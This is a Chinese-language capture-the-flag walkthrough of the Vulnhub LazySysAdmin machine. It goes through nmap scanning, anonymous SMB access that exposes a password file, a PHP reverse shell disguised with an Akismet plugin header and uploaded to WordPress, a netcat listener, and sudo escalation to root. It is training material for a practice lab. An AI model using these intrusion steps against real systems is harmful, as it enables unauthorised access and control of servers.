Lazysysadmin靶機筆記

Ling-X5發表於2024-08-10

Lazysysadmin靶機筆記

概述

lazysysadmin是一臺Vulnhub靶機,整體比較簡單。

靶機地址:https://pan.baidu.com/s/19nBjhMpGkdBDBFSnMEDfOg?pwd=heyj
提取碼:heyj

一、nmap掃描

1、主機發現

# -sn只做ping掃描,不做埠掃描
sudo nmap -sn 192.168.247.1/24

看到靶機IP地址是192.168.247.138

MAC Address: 00:50:56:FA:CB:D3 (VMware)                                                                
Nmap scan report for 192.168.247.138                        
Host is up (0.00072s latency).  

2、埠掃描

-sT 以TCP全連線掃描,--min-rate 10000 以最低10000速率進行掃描,-p-進行全埠掃描,-o ports結果輸出到ports檔案中

sudo nmap -sT --min-rate 10000 -p- 192.168.247.138 -o ports     
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-08 10:21 EDT                                                                    
Nmap scan report for 192.168.247.138                                                                                               
Host is up (0.0023s latency).                                                                                                      
Not shown: 65529 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
6667/tcp open  irc
MAC Address: 00:0C:29:D5:2D:FE (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.81 seconds

提取埠

cat 檢視檔案 grep過濾open字串 awk 中-F指定分隔符,列印分隔後的第一列,paste -s指定多行拼接,-d指定拼接符

cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ','

結果 22,80,139,445,3306,6667

複製給變了ports

ports=$(cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ',')

3、詳細資訊掃描

以tcp, 探測版本, 以預設指令碼 掃描埠 $ports,探測作業系統版本,輸出到details檔案中

sudo nmap -sT -sV -sC -p$ports -O 192.168.247.138 -o details

# 在輸入完$ports按tab鍵會自動補全埠

sudo nmap -sT -sV -sC -p22,80,139,445,3306,6667 -O 192.168.247.138 -o details

結果:

# Nmap 7.93 scan initiated Thu Aug  8 10:27:15 2024 as: nmap -sT -sV -sC -p22,80,139,445,3306,6667 -O -o details 192.168.247.138
Nmap scan report for 192.168.247.138
Host is up (0.00059s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 b538660fa1eecd41693b82cfada1f713 (DSA)
|   2048 585a6369d0dadd51ccc16e00fd7e61d0 (RSA)
|   256 6130f3551a0ddec86a595bc99cb49204 (ECDSA)
|_  256 1f65c0dd15e6e421f2c19ba3b655a045 (ED25519)
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-generator: Silex v2.2.7
|_http-title: Backnode
| http-robots.txt: 4 disallowed entries 
|_/old/ /test/ /TR2/ /Backnode_files/
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL (unauthorized)
6667/tcp open  irc         InspIRCd
| irc-info: 
|   server: Admin.local
|   users: 1
|   servers: 1
|   chans: 0
|   lusers: 1
|   lservers: 0
|   source ident: nmap
|   source host: 192.168.247.128
|_  error: Closing link: (nmap@192.168.247.128) [Client exited]
MAC Address: 00:0C:29:D5:2D:FE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Hosts: LAZYSYSADMIN, Admin.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -3h19m58s, deviation: 5h46m24s, median: 1s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: lazysysadmin
|   NetBIOS computer name: LAZYSYSADMIN\x00
|   Domain name: \x00
|   FQDN: lazysysadmin
|_  System time: 2024-08-09T00:27:30+10:00
|_nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2024-08-08T14:27:30
|_  start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug  8 10:27:38 2024 -- 1 IP address (1 host up) scanned in 23.27 seconds

看到目標服務開啟ssh,smb,http,mysql,和irc服務的詳細資訊

4、預設指令碼掃描

nmap --script=vuln -p22,80,139,445,3306,6667 192.168.247.138 -o vuln
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /wordpress/: Blog
|   /test/: Test page
|   /robots.txt: Robots file
|   /info.php: Possible information file
|   /phpmyadmin/: phpMyAdmin
|   /wordpress/wp-login.php: Wordpress login page.
|   /apache/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
|_  /old/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
6667/tcp open  irc
|_irc-unrealircd-backdoor: Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again).
| irc-botnet-channels: 
|_  ERROR: TIMEOUT

Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-regsvc-dos: 
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_          
|_smb-vuln-ms10-061: false

Nmap done: 1 IP address (1 host up) scanned in 320.62 seconds

根據優先順序,我們應該是先對web做滲透測試,然後依次是smb,mysql,ssh等

二、web滲透

nmap預設漏洞指令碼掃描結果出現了幾條路徑,我們訪問一下

192.168.247.138

image-20240810090349605

主頁,這裡翻看了一下,沒有什麼有用的資訊

192.168.247.138/wordpress/
image-20240810090845622

這裡一直在強調My name is togie

togie會不會就是使用者名稱呢,我們先往下看

192.168.247.138/test/
192.168.247.138/apache/
192.168.247.138/old/
192.168.247.138/info.php
192.168.247.138/robots.txt

上面這些都路徑沒有有用的資訊

我們看一下兩個登陸頁面

http://192.168.247.138/phpMyAdmin/
192.168.247.138/wordpress/wp-login.php
image-20240810093016418 image-20240810093117983

嘗試了弱口令,並不能登陸成功

嘗試目錄爆破,看看還有什麼我們遺漏的頁面:gobuster 、ffuf、dirb、dirsearch都可以

有興趣可以熟悉一下命令,這是我們滲透測試應該想到的東西,雖然這次沒有有價值資訊。

目錄爆破出來也是這些頁面,並沒有什麼有價值的資訊

web總結:我們發現了一個可能的使用者名稱togie

三、smb服務滲透

1)ssh憑證

smbclient -L 192.168.247.138

rename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        share$          Disk      Sumshare
        IPC$            IPC       IPC Service (Web server)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP       

我們不知道密碼,就用空密碼看看能不能訪問共享檔案

我們最感興趣的應該是share$目錄了,進去看看

smbclient //192.168.247.138/share$
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> 

進來了,我們翻找一下有用的資訊吧

smb: \> dir
  .                                   D        0  Tue Aug 15 07:05:52 2017
  ..                                  D        0  Mon Aug 14 08:34:47 2017
  wordpress                           D        0  Fri Aug  9 20:44:17 2024
  Backnode_files                      D        0  Mon Aug 14 08:08:26 2017
  wp                                  D        0  Tue Aug 15 06:51:23 2017
  deets.txt                           N      139  Mon Aug 14 08:20:05 2017
  robots.txt                          N       92  Mon Aug 14 08:36:14 2017
  todolist.txt                        N       79  Mon Aug 14 08:39:56 2017
  apache                              D        0  Mon Aug 14 08:35:19 2017
  index.html                          N    36072  Sun Aug  6 01:02:15 2017
  info.php                            N       20  Tue Aug 15 06:55:19 2017
  test                                D        0  Mon Aug 14 08:35:10 2017
  old                                 D        0  Mon Aug 14 08:35:13 2017

                3029776 blocks of size 1024. 1313772 blocks available

mget下來

smb: \> mget *.*
Get file deets.txt? y
getting file \deets.txt of size 139 as deets.txt (33.9 KiloBytes/sec) (average 33.9 KiloBytes/sec)
Get file robots.txt? y
getting file \robots.txt of size 92 as robots.txt (29.9 KiloBytes/sec) (average 32.2 KiloBytes/sec)
Get file todolist.txt? y
getting file \todolist.txt of size 79 as todolist.txt (25.7 KiloBytes/sec) (average 30.3 KiloBytes/sec)
Get file index.html? y
getting file \index.html of size 36072 as index.html (7045.2 KiloBytes/sec) (average 2368.6 KiloBytes/sec)
Get file info.php? y
getting file \info.php of size 20 as info.php (9.8 KiloBytes/sec) (average 2091.1 KiloBytes/sec)

檢視一下這裡只有deets有一些我們用的到的資訊

cat deets.txt 

CBF Remembering all these passwords.
Remember to remove this file and update your password after we push out the server.
Password 12345

給了我們一個password 12345

這會不會是togie的密碼呢

2)wordpress憑證

我們接著看smb的/wordpress目錄

smb: \wordpress\> ls
  .                                   D        0  Fri Aug  9 20:44:17 2024
  ..                                  D        0  Tue Aug 15 07:05:52 2017
  wp-config-sample.php                N     2853  Wed Dec 16 04:58:26 2015
  wp-trackback.php                    N     4582  Fri Aug  9 10:33:20 2024
  wp-admin                            D        0  Wed Aug  2 17:02:02 2017
  wp-settings.php                     N    16200  Thu Apr  6 14:01:42 2017
  wp-blog-header.php                  N      364  Sat Dec 19 06:20:28 2015
  index.php                           N      418  Tue Sep 24 20:18:11 2013
  wp-cron.php                         N     3286  Sun May 24 13:26:25 2015
  wp-links-opml.php                   N     2422  Sun Nov 20 21:46:30 2016
  readme.html                         N     7413  Fri Aug  9 10:33:21 2024
  wp-signup.php                       N    29924  Tue Jan 24 06:08:42 2017
  wp-content                          D        0  Fri Aug  9 10:56:13 2024
  license.txt                         N    19935  Fri Aug  9 10:33:21 2024
  wp-mail.php                         N     8002  Fri Aug  9 10:33:21 2024
  wp-activate.php                     N     6864  Fri Aug  9 10:33:21 2024
  .htaccess                           H       35  Tue Aug 15 07:40:13 2017
  xmlrpc.php                          N     3065  Wed Aug 31 12:31:29 2016
  wp-login.php                        N    34347  Fri Aug  9 10:33:21 2024
  wp-load.php                         N     3301  Mon Oct 24 23:15:30 2016
  wp-comments-post.php                N     1627  Mon Aug 29 08:00:32 2016
  wp-config.php                       N     3703  Mon Aug 21 05:25:14 2017
  wp-includes                         D        0  Wed Aug  2 17:02:03 2017

                3029776 blocks of size 1024. 1313868 blocks available

我們看到了wp-config.phplicense.txt下載下來檢視一下

image-20240810100356115

看到了一組wordpress憑證,我們寫進``creds`檔案裡

四、獲得立足點

兩組憑據

image-20240810104140029

方式1:ssh憑據

ssh togie@192.168.247.138
image-20240810112914694

方式二:wordpress

image-20240810105115393

登陸進後臺首先想到上傳外掛的方式去反彈shell

這裡網上隨便找一個php反彈shell的指令碼,我找的是pentestmonkey的

隨便找一個plugin的頭部,新增到我們的反彈指令碼里

/**
 * @package Akismet
 */
/*
Plugin Name: Akismet Anti-Spam
Plugin URI: https://akismet.com/
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. It keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.
Version: 3.3.3
Author: Automattic
Author URI: https://automattic.com/wordpress-plugins/
License: GPLv2 or later
Text Domain: akismet
*/

讓後打包成zip檔案,因為上傳只能是zip

zip rev.zip php-reverse-shell.php
  adding: php-reverse-shell.php (deflated 58%)

上傳安裝

image-20240810110252682

成功

image-20240810110324846

本地監聽

nc -lvp 4444

訪問

192.168.247.138/wordpress/wp-content/plugins/rev/php-reverse-shell.php

收到反彈shell

image-20240810110742032

python -c "import pty;pty.spawn('/bin/bash')"

ww-data@LazySysAdmin:/$ uname -a
uname -a
Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux

export TERM=xterm-color # 可以用clear清屏

翻找flag,有一個togie使用者但目錄下是空的。我們切換到它

image-20240810112043424
www-data@LazySysAdmin:/home/togie$ su togie
su togie
Password: 12345

togie@LazySysAdmin:~$ 

五、提權到root

sudo -l #檢視一下

image-20240810112344761

togie的sudo(ALL:ALL)ALL的

直接sudo/bin/bash提權

image-20240810112644778

拿到flag

root@LazySysAdmin:/root# cat proof.txt
cat proof.txt
WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851


Well done :)

Hope you learn't a few things along the way.

Regards,

Togie Mcdogie




Enjoy some random strings

WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851
2d2v#X6x9%D6!DDf4xC1ds6YdOEjug3otDmc1$#slTET7
pf%&1nRpaj^68ZeV2St9GkdoDkj48Fl$MI97Zt2nebt02
bhO!5Je65B6Z0bhZhQ3W64wL65wonnQ$@yw%Zhy0U19pu

總結

  1. 我們顯示用nmap掃描發現目標開放了22,80,139,445等埠的服務,根據優先順序,優先選擇web的埠
  2. 透過漏洞指令碼的掃描我們發現了一些web的路徑,透過一個一個的訪問,我們發現了一個可能的使用者名稱togie,以及wordpress和phpmyadmin的登陸框
  3. 我們利用smb服務發現了togie使用者的密碼,以及wp的使用者名稱和密碼。
  4. 透過ssh或者wp的反彈shell,成功獲得立足點
  5. 利用sudo /bin/bash 命令進行提權到root,拿到flag proof.txt檔案